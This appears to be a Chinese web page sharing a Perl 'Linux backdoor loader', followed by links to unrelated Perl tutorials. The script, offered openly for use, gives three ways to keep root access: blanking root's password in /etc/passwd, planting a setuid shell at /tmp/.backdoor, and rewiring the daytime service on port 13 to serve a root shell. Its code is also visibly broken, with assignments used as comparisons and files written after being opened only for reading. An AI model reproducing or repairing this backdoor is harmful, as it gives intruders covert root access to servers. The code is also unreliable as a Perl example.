用perl寫的linux後門加載程序

print "++++++++++++++++++++++++++++++++++++linux後門工具+++++++++++++++++++++++++++++++++++\n";

print "使用說明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一個賬號到passwd中,用戶名是root,密碼爲空n fakebackdoor是綁定一個shell到/tmp/.backdoor下,運行後直接取得root shell,rushport是綁定端口在daytime服務中\n,有兩個版本,一個是針對redhatlinux7.0一下的--rushport1,一個是針對redhatlinux7.0以上的--rushport2.\n一般服務器都不開這個服務,程序自動激活daytime服務,telnet到13端口直接取得rootshell 這種方法隱蔽性相對前兩中最好\n,記住要重啓daytime服務才能生效\n eg: rush rushroot,程序還有很多可以優化的地方,如果有什麽好的改進請email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";

$parameter = @;ARGV[0];

chomp $parameter;

if ($parameter = "rushroot")

{

&rushroot;

}

elsif ($parameter = "fakebackdoor")

{

&fakebackdoor;

}

elsif($parameter = "rushport")

{

&rushport1;

}

else ($parameter = "rushport2")

{

&rushport2;

}

sub rushroot

{

open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";

while()

{

chop;

$passwd.="$_\n";

last;

}

chomp $passwd;

if($passwd eq "root:x:0:0:root:/root:/bin/bash")

{

$passwd =~s/x//g;

print "rushroot success!now you can get a rootshell with null passwd";

}

else

{

print "faild....something wrong....:(((";

}

while()

{

chomp;

$passwd1.="$_\n";

}

close PWD;

open (PWD,"/etc/passwd")||die "why?";

print PWD $passwd;

print PWD $passwd1;

}

sub fakebackdoor

{

@cpsh = ("cp", "/bin/sh /tmp/.backdoor");

@chmod= ("chmod","u+s /tmp/.backdoor");

system(@cpsh);

system(@chmod);

print "success! now you can use ./tmp/.backdoor to get a root shell\n";

}

sub rushport1

{

open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #這裏根據版本不同可自己修改路徑

while()

{

chomp;

$passwd.="$_\n";

chomp $passwd;

if ($passwd eq "daytime stream tcp nowait root internal")

{

$passwd =~s/root internal/bin\/sh -i/g;

}

last;

close RH6;

open (RH6,"/etc/inetd.d/inetd.conf")||die "faild...:("; # #這裏根據版本不同可自己修改路徑

print RH6 $passwd;

print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

}

}

sub rushport2

{

open (DAYTIME,"/etc/xinetd.d/daytime") || die "can't open file!";

$daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";

print DAYTIME $daytime;

print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

}

改良的Perl:程序員面向Linux的設置
  作者:Teodor Zlatanov  優化機器來滿足需要  爲面向 Java 和 Perl 的編程環境定制了 tcsh、Enlightenment、Eterm 和 Emacs 後,Teodor 爲我們展示了他桌面的 Linux 配置。這是爲 Java 和 Perl 編程設置優化...查看完整版>>改良的Perl:程序員面向Linux的設置
 
“黑客之門”後門魅力:感染與加載
  最近對後門産生了很濃厚的興趣,上網與各位高手討論的時候,有人提到了“黑客之門”很厲害,也算是推出來的比較成功的一個後門,于是上網下載了一個研究研究,順便也學習學習其中的方法與技巧。不敢獨享,分享于...查看完整版>>“黑客之門”後門魅力:感染與加載
 
Linux操作系統下安裝Perl及其模塊的方法
Linux和perl都屬于自由軟件,將二者結合真是妙不可言。遵循以下步驟一般就可安裝好perl,perl 就能在linux下歡唱。 1、取得最新版本的 perl,當前版本爲 5.6.0,即 stable.tar.gz。 2、解文件包: gunzip stable.tar....查看完整版>>Linux操作系統下安裝Perl及其模塊的方法
 
Linux操作系統下安裝Perl及Perl模塊方法
Linux 和 perl 都屬于自由軟件,將二者結合真是妙不可言。遵循以下步驟一般就可安裝好 perl ,perl 就能在 linux 下歡唱。 1、取得最新版本的 perl,當前版本爲 5.6.0,即 stable.tar.gz。 2、解文件包: gunzip stab...查看完整版>>Linux操作系統下安裝Perl及Perl模塊方法
 
新手學堂:在Linux下安裝Perl及Perl模塊
Linux和Perl都屬于自由軟件,將二者結合真是妙不可言。遵循以下步驟一般就可安裝好 perl ,perl 就能在 linux 下歡唱。 1、取得最新版本的 perl,當前版本爲 5.6.0,即 stable.tar.gz。 2、解文件包: gunzip stable....查看完整版>>新手學堂:在Linux下安裝Perl及Perl模塊
 
在Linux下使用perl通過unixODBC連接SQLServer2000
     摘要:MS從來沒有提供過SQLServer for Linux,所以大家也不要去嘗試在Linux系統安裝SQLServer,但是可以通過ODBC連接Windows系統的SQLServer數據庫;  一、關于測試環境及Linux連接SQL Server 的說明;  ...查看完整版>>在Linux下使用perl通過unixODBC連接SQLServer2000
 
Linux使用基本知識:編寫簡單的perl
  腳本  perl以其功能強大和可伸縮性而聞名,下面的示例並沒有做任何實際的工作,而只是顯示了perl的一些特性。  #!/usr/bin/perl -w  #sample perl program  #scalar variables names start with $  $a...查看完整版>>Linux使用基本知識:編寫簡單的perl
 
用Linux下腳本Perl連接SQLServer
  准備工作:  用到的perl 擴展組件(modules)在上篇貼出.( win32::odbc 模塊 )下載組件後按照Readme文件安裝倒響應目錄.配置好相應的odbc數據源.  程序實現:  使用  use Win32::ODBC;  語句包含應使用的模...查看完整版>>用Linux下腳本Perl連接SQLServer
 
Linux下Perl的經典用法:讀入單個記錄
  有一個容易的方法讀入filehandles:用 操作符。在標量內容下, 它返回文件中的下一個記錄,或者返回未定義出錯信息。我們可以使用它來把一行讀 入到一個變量中:  $line = ;  die "Unexpected end-of-file" ...查看完整版>>Linux下Perl的經典用法:讀入單個記錄
 
 
回到王朝網路首頁